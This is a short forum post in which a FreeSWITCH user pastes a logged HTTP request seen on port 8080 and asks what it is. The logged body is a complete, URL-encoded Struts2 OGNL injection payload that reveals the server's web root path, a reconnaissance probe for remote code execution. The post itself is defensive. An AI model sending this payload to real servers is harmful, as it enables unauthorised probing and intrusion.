I saw this on the freeswitch console months ago and did not get around to following up on it until now.

A freeswitch profile is listening on :8080

a.b.c.d = remote address

w.x.y.z = freeswitch address

What is this?

Is it a concern?

recv 607 bytes from tcp/[a.b.c.d]:4423 at 17:50:50.225319:

   ------------------------------------------------------------------------

   POST /login.action HTTP/1.1

   User-Agent: Mozilla/5.0

   Accept: */*

   Content-Type: application/x-www-form-urlencoded

   Host: w.x.y.z:8080

 

Content-Length: 395

   Expect: 100-continue

   Connection: Keep-Alive

   

   redirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}